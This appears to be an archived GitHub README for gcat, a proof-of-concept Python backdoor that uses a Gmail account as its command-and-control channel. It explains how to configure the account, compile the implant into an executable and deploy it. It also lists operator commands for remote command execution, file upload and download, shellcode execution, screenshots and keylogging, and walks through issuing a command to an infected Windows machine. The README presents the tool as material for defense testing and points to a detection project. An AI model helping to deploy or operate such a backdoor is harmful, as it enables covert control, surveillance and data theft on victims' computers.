GitHub - byt3bl33d3r/gcat: A PoC backdoor that uses Gmail as a C&C server

By byt3bl33d3r

Archived: 2026-04-05 19:39:21 UTC

A stealthy Python based backdoor that uses Gmail as a command and control server

This project was inspired by the original PoC code from Benjamin Donnelly

This is PoC code...

... that was released for orginazations to test their defenses against these type of attacks. In order to detect them see projects like RITA.

For a more up to date and maintained version of this project see GDog

Setup

For this to work you need:

- A Gmail account (**Use a dedicated account! Do not use your personal one!**)
- Turn on "Allow less secure apps" under the security settings of the account
- You may also have to enable IMAP in the account settings

This repo contains two files:

- `gcat.py` a script that's used to enumerate and issue commands to available clients
- `implant.py` the actual backdoor to deploy

In both files, edit the `gmail_user` and `gmail_pwd` variables with the username and password of the account you previously setup.

You're probably going to want to compile `implant.py` into an executable using Pyinstaller

Note: It's recommended you compile implant.py using a 32bit Python installation

Usage

```
                                dP
                                88
.d8888b. .d8888b. .d8888b. d8888P
88'  `88 88'  `"" 88'  `88   88
88.  .88 88.  ... 88.  .88   88
```

```
                `8888P88 `88888P' `88888P8   dP
                    .88
                 d8888P



                   .__......_             _....._,
                     .": o :':         ;': o :".
                     `. `-' .'.       .'. `-' .'
                       `---'             `---'


              _...----...      ...   ...      ...----..._
           .-'__..-''-----    `.  `"`  .'    ----'''-..__`-.
          '.-'   _.--'''       `-._.-'       ''''--._   `-.`
          '  .-"'                  :                  `"-.  `
            '   `.              _.'"'._              .'   `
                  `.       ,.-'"       "'-.,       .'
                    `.                           .'
                jgs   `-._                   _.-'
                          `"'--...___...--'"`

                     ...IM IN YUR COMPUTERZ...

                        WATCHIN YUR SCREENZ

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -upload SRC DST       Upload a file to the clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger
```

```
Meow!
```

- Once you've deployed the backdoor on a couple of systems, you can check available clients using the list command:

```
 #~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86
```

The output is a UUID string that uniquely identifies the system and the OS the implant is running on

- Let's issue a command to an implant:

```
 #~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv
```

Here we are telling `90b2cd83-cb36-52de-84ee-99db6ff41a11` to execute `ipconfig /all`, the script then outputs the `jobid` that we can use to retrieve the output of that command

- Lets get the results!

```
 #~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'


Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . :
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

-- SNIP --
```

- That's the gist of it! But you can do much more as you can see from the usage of the script! ;)

To Do

- Multi-platform support
- ~~Command to upload files~~

- Transport crypto & obfuscation
